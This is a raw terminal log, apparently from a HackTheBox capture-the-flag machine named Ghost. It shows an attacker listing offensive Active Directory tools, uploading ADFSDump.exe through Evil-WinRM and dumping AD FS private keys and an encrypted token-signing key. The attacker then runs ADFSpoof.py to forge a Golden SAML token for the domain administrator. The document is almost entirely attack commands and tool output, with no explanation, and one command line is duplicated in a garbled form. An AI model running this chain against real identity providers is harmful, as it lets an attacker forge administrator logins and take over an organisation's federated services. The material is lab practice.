    remote: Total 242 (delta 18), reused 11 (delta 3), pack-reused 201 (from 1)
    Recibiendo objetos: 100% (242/242), 8.53 MiB | 14.65 MiB/s, listo.
    Resolviendo deltas: 100% (110/110), listo.
    ❯ ls -l
    drwxrwxr-x kali kali 4.0 KB Fri Feb  7 21:49:08 2025  AzureAD
    drwxrwxr-x kali kali 4.0 KB Fri Feb  7 21:49:08 2025  CertificateAbuse
    drwxrwxr-x kali kali 4.0 KB Fri Feb  7 21:49:08 2025  GPOAbuse
    .rw-rw-r-- kali kali  30 KB Fri Feb  7 21:49:08 2025  ADFSDump.exe
    .rw-rw-r-- kali kali 4.5 KB Fri Feb  7 21:49:08 2025  ADModule.dll
    .rw-rw-r-- kali kali 487 KB Fri Feb  7 21:49:08 2025  Rubeus.exe
    .rw-rw-r-- kali kali  50 KB Fri Feb  7 21:49:08 2025  RunasCs.exe
    .rw-rw-r-- kali kali  50 KB Fri Feb  7 21:49:08 2025  Sharpmad.exe
    .rw-rw-r-- kali kali  40 KB Fri Feb  7 21:49:08 2025  SharpMove.exe
    .rw-rw-r-- kali kali 323 KB Fri Feb  7 21:49:08 2025  SharpRDP.exe
    .rw-rw-r-- kali kali 1.1 MB Fri Feb  7 21:49:08 2025  SharpSCCM.exe
    .rw-rw-r-- kali kali  44 KB Fri Feb  7 21:49:08 2025  SharpSQL.exe
    .rw-rw-r-- kali kali 222 KB Fri Feb  7 21:49:08 2025  SimpleBackdoorAdmin.dll
    .rw-rw-r-- kali kali 290 KB Fri Feb  7 21:49:08 2025  SimpleBackdoorAdmin.exe
    .rw-rw-r-- kali kali 154 KB Fri Feb  7 21:49:08 2025  SpoolSample.exe
    .rw-rw-r-- kali kali  44 KB Fri Feb  7 21:49:08 2025  Whisker.exe
    *Evil-WinRM* PS C:\ProgramData> upload ADFSDump.exe
                                            
    Info: Uploading /home/kali/Desktop/HackTheBox/Windows/AD/Ghost/content/ADFSDump.exe to C:\ProgramData\ADFSDump.exe
                                            
    Data: 305048 bytes of 305048 bytes copied
                                            
    Info: Upload successful!
    
    *Evil-WinRM* PS C:\ProgramData> ls
    
    
        Directory: C:\ProgramData
    
    
    Mode                 LastWriteTime         Length Name
    ----                 -------------         ------ ----
    d---s-         7/22/2024   9:55 AM                Microsoft
    d-----         7/22/2024   9:55 AM                Package Cache
    d-----         1/30/2024   7:09 PM                Packages
    d-----         1/30/2024   7:19 PM                regid.1991-06.com.microsoft
    d-----          5/8/2021   1:20 AM                SoftwareDistribution
    d-----          5/8/2021   2:36 AM                ssh
    d-----         1/30/2024   9:24 AM                USOPrivate
    d-----          5/8/2021   1:20 AM                USOShared
    d-----         1/30/2024   9:21 AM                VMware
    -a----          2/7/2025  12:38 PM         228787 ADFSDump.exe
    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
    *Evil-WinRM* PS C:\ProgramData> .\ADFSDump.exe
    	   ___    ____  ___________ ____
       /   |  / __ \/ ____/ ___// __ \__  ______ ___  ____
      / /| | / / / / /_   \__ \/ / / / / / / __ `__ \/ __ \
     / ___ |/ /_/ / __/  ___/ / /_/ / /_/ / / / / / / /_/ /
    /_/  |_/_____/_/    /____/_____/\__,_/_/ /_/ /_/ .___/
                                                  /_/
    Created by @doughsec
    
    
    ## Extracting Private Key from Active Directory Store
    [-] Domain is ghost.htb
    [-] Private Key: FA-DB-3A-06-DD-CD-40-57-DD-41-7D-81-07-A0-F4-B3-14-FA-2B-6B-70-BB-BB-F5-28-A7-21-29-61-CB-21-C7
    
    
    [-] Private Key: 8D-AC-A4-90-70-2B-3F-D6-08-D5-BC-35-A9-84-87-56-D2-FA-3B-7B-74-13-A3-C6-2C-58-A6-F4-58-FB-9D-A1
    
    
    ## Reading Encrypted Signing Key from Database
    [-] Encrypted Token Signing Key Begin
    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
    [-] Encrypted Token Signing Key End
    
    [-] Certificate value: 0818F900456D4642F29C6C88D26A59E5A7749EBC
    [-] Store location value: CurrentUser
    [-] Store name value: My
    
    ## Reading The Issuer Identifier
    [-] Issuer Identifier: http://federation.ghost.htb/adfs/services/trust
    [-] Detected AD FS 2019
    [-] Uncharted territory! This might not work...
    ## Reading Relying Party Trust Information from Database
    [-]
    core.ghost.htb
     ==================
        Enabled: True
        Sign-In Protocol: SAML 2.0
        Sign-In Endpoint: https://core.ghost.htb:8443/adfs/saml/postResponse
        Signature Algorithm: http://www.w3.org/2001/04/xmldsig-more#rsa-sha256
        SamlResponseSignatureType: 1;
        Identifier: https://core.ghost.htb:8443
        Access Policy: <PolicyMetadata xmlns:i="http://www.w3.org/2001/XMLSchema-instance" xmlns="http://schemas.datacontract.org/2012/04/ADFS">
      <RequireFreshAuthentication>false</RequireFreshAuthentication>
      <IssuanceAuthorizationRules>
        <Rule>
          <Conditions>
            <Condition i:type="AlwaysCondition">
              <Operator>IsPresent</Operator>
            </Condition>
          </Conditions>
        </Rule>
      </IssuanceAuthorizationRules>
    </PolicyMetadata>
    
    
        Access Policy Parameter:
    
        Issuance Rules: @RuleTemplate = "LdapClaims"
    @RuleName = "LdapClaims"
    c:[Type == "http://schemas.microsoft.com/ws/2008/06/identity/claims/windowsaccountname", Issuer == "AD AUTHORITY"]
     => issue(store = "Active Directory", types = ("http://schemas.xmlsoap.org/ws/2005/05/identity/claims/upn", "http://schemas.xmlsoap.org/claims/CommonName"), query = ";userPrincipalName,sAMAccountName;{0}", param = c.Value);
    ❯ cat token | base64 -d > EncryptedPfx.bin
    
    ❯ echo '8D-AC-A4-90-70-2B-3F-D6-08-D5-BC-35-A9-84-87-56-D2-FA-3B-7B-74-13-A3-C6-2C-58-A6-F4-58-FB-9D-A1' | tr -d '-' | xxd -r -p > dkmKey.bin
    ❯ python3 ADFSpoof.py -b ../EncryptedPfx.bin ../dkmKey.bin -s core.ghost.htb saml2 --endpoint https://core.ghost.htb:8443/adfs/saml/postResponse --nameidformat urn:oasis:names:tc:SAML:2.0:nameid-format:transient --nameid 'GHOST\administrator' --rpidentifier https://core.ghost.htb:8443 --assertions '<Attribute Name="http://schemas.xmlsoap.org/ws/2005/05/identity/claims/upn"><AttributeValue>GHOST\administrator</AttributeValue></Attribute><Attribute Name="http://schemas.xmlsoap.org/claims/CommonName"><AttributeValue>Administrator</AttributeValue></Attribute>'
    dministrator' --rpidentifier https://core.ghost.htb:8443 --assertions '<Attribute Name="http://schemas.xmlsoap.org/ws/2005/05/identity/claims/upn"><AttributeValue>GHOSTdministrator</AttributeValue></Attribute><Attribute Name="http://schemas.xmlsoap.org/claims/CommonName"><AttributeValue>Administrator</AttributeValue></Attribute>' - Parrot Terminal    ___    ____  ___________                   ____
       /   |  / __ \/ ____/ ___/____  ____  ____  / __/
      / /| | / / / / /_   \__ \/ __ \/ __ \/ __ \/ /_  
     / ___ |/ /_/ / __/  ___/ / /_/ / /_/ / /_/ / __/  
    /_/  |_/_____/_/    /____/ .___/\____/\____/_/     
                            /_/                        
    
    A tool to for AD FS security tokens
    Created by @doughsec
    
    /home/kali/Desktop/HackTheBox/Windows/AD/Ghost/content/GoldenSAML/ADFSpoof/ADFSpoof.py:96: DeprecationWarning: datetime.datetime.utcnow() is deprecated and scheduled for removal in a future version. Use timezone-aware objects to represent datetimes in UTC: datetime.datetime.now(datetime.UTC).
      now = datetime.utcnow()
